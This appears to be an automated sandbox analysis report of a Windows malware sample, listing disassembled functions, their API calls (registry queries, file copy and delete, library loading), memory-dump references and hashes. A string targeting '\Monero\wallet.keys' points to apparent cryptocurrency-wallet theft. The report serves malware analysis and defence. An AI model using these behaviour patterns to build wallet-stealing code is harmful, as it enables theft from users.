Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: aee2309dec83fd250273a839a28a0728cf674a85e48e11c84cfcb9a7d4aa6109
Instruction ID: 396621ea64fd831c4a69bbc139bbc98868de34a5c85b0bc029fb47aab5fe0078
Opcode Fuzzy Hash: aee2309dec83fd250273a839a28a0728cf674a85e48e11c84cfcb9a7d4aa6109
Instruction Fuzzy Hash: D30162B0D4430CFBEB10DBE0CC49BAEBBB8AB04741F208149E705BA2C0D7745A819B59

Function 007040B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0123D640,00000000,00020119,?), ref: 007040F4
RegQueryValueExA.ADVAPI32(?,0123E080,00000000,00000000,00000000,000000FF), ref: 00704118
RegCloseKey.ADVAPI32(?), ref: 00704122
lstrcat.KERNEL32(?,00000000), ref: 00704147
lstrcat.KERNEL32(?,0123DF00), ref: 0070415B

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: b69f481b3d462e396e9f848b1441a5f143c9b4cf03e55477acbef62e4c64d683
Instruction ID: b7e78125c72b10aa860d9e72bb9009ff8ab3c65f7771570e22b17988edb9b25e
Opcode Fuzzy Hash: b69f481b3d462e396e9f848b1441a5f143c9b4cf03e55477acbef62e4c64d683
Instruction Fuzzy Hash: 474187B6D10108EBDB14EBA0DC5AFFE737DAB88300F40465CB75656181EA759B888B92

Function 6C5EC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5EC969
GetSystemInfo.KERNEL32(?), ref: 6C5EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5EC9E2

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: a4dab7ff4e5f5aa68f40de9865ddaeabcfbf2b7b2ad86abef25919f996d7b417
Instruction ID: ac4658877bd9bbdbef10ef15c8a14d4ce1a995b046e704cd4f5b36d3604434e8
Opcode Fuzzy Hash: a4dab7ff4e5f5aa68f40de9865ddaeabcfbf2b7b2ad86abef25919f996d7b417
Instruction Fuzzy Hash: BB21FC727412186BDB04EF25DCC4BAE77B9AB8A744FA00519F903E7740EB70BC0487A9

Function 00707E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00707E37
RtlAllocateHeap.NTDLL(00000000), ref: 00707E3E
RegOpenKeyExA.KERNEL32(80000002,0122BEF8,00000000,00020119,?), ref: 00707E5E
RegQueryValueExA.KERNEL32(?,0123D800,00000000,00000000,000000FF,000000FF), ref: 00707E7F
RegCloseKey.ADVAPI32(?), ref: 00707E92

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: e70e66f5b5236b3d927c4dd9dc7ad78ef097eabca802c2f83ac48148c2e5fc26
Instruction ID: 675888539a3d8b34c1cda8e9f11e9ac90cc279dbf8b158606afa221092ef8d67
Opcode Fuzzy Hash: e70e66f5b5236b3d927c4dd9dc7ad78ef097eabca802c2f83ac48148c2e5fc26
Instruction Fuzzy Hash: 52114CB1A58205EBD714CB94DD49FBBBBB8EB04B10F104259F606A7280D7786800DFA1

Function 006F12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F12B4
RtlAllocateHeap.NTDLL(00000000), ref: 006F12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 006F12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006F12F5
RegCloseKey.ADVAPI32(?), ref: 006F12FF

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f02234ea23cfccbb3a1c8fd730bf09d252fe07e1df8ec26d90214a1e19ee68a0
Instruction ID: 920728d8694d5a00c085fc097595f0d2f1683fa8e26feb637b564421647d619d
Opcode Fuzzy Hash: f02234ea23cfccbb3a1c8fd730bf09d252fe07e1df8ec26d90214a1e19ee68a0
Instruction Fuzzy Hash: 5B0131B9A54208BBDB00DFE0DC89FAEB7B8EB48701F008159FA4597280D6759A019F51

Function 006FA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01239238,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 006FA0BD
LoadLibraryA.KERNEL32(0123D960), ref: 006FA146

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A820: lstrlen.KERNEL32(006F4F05,?,?,006F4F05,00710DDE), ref: 0070A82B
Part of subcall function 0070A820: lstrcpy.KERNEL32(00710DDE,00000000), ref: 0070A885

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

SetEnvironmentVariableA.KERNEL32(01239238,00000000,00000000,?,007112D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00710AFE), ref: 006FA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 006FA0B2, 006FA0C6, 006FA0DC

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 879b8ffe619003535e1ea218bd75fe620877c19c5b488d6dd7eb384262c06a01
Instruction ID: 510631717be67cced2c2960b3a33e31bf41252d223f6a7da40d0dcd2a522fab4
Opcode Fuzzy Hash: 879b8ffe619003535e1ea218bd75fe620877c19c5b488d6dd7eb384262c06a01
Instruction Fuzzy Hash: E4412DF1929204EFCB05DFA4EC8AAAE33B5BB09305F184128E685932A0DB355944DF63

Function 006FA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 00708B60: GetSystemTime.KERNEL32(00710E1A,0123A900,007105AE,?,?,006F13F9,?,0000001A,00710E1A,00000000,?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 00708B86

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006FA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 006FA3FF
lstrlen.KERNEL32(00000000), ref: 006FA6BC

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

DeleteFileA.KERNEL32(00000000), ref: 006FA743

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0cf2c5b803520646fd1cc52fc1035dcd87e2cad23248c3f101f010e4c3fe770c
Instruction ID: 1c16ac6b52ea2eebf260c71e3788d0520b02d6f9f2a86e67646ddbeb96fa3c0e
Opcode Fuzzy Hash: 0cf2c5b803520646fd1cc52fc1035dcd87e2cad23248c3f101f010e4c3fe770c
Instruction Fuzzy Hash: 60E1D872910208EADB05FBA4DD56EEE73B8AF54300F50C269F517B60D1DF386A49CB62

Function 006FD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 00708B60: GetSystemTime.KERNEL32(00710E1A,0123A900,007105AE,?,?,006F13F9,?,0000001A,00710E1A,00000000,?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 00708B86

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006FD801
lstrlen.KERNEL32(00000000), ref: 006FD99F
lstrlen.KERNEL32(00000000), ref: 006FD9B3
DeleteFileA.KERNEL32(00000000), ref: 006FDA32

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
